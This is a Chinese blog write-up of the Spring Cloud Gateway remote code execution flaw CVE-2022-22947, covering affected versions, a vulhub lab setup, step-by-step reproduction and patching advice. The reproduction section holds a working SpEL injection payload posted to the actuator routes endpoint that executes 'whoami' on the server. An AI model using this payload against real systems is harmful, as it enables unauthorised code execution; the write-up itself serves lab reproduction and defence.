Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

一、漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

3月1日,VMware发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。

二、影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

三、环境搭建

从vulhub下载Vulhub - Docker-Compose file for vulnerability environment漏洞库后,找到CVE-2022-22947直接启动

docker-compose up -d

四、漏洞复现

1、首先,修改GET /actuator请求,确定actuator端口已经开启

2、修改get请求,获取路由信息GET /actuator/gateway/routes/:

当前只有路由index,该路有默认跳转到uri:http://example.com:80

2、然后,构造一个post请求包,POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由:

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新路由,POST /actuator/gateway/refresh

2、获取路由信息GET /actuator/gateway/routes/,新增路由test成功:

3、构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root :

最后,删除我们前面构造的路由,DELETE /actuator/gateway/routes/test

五、解决方法

1、升级更新到以下版本:

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

参考链接:

【漏洞通告】Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)-启明星辰

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值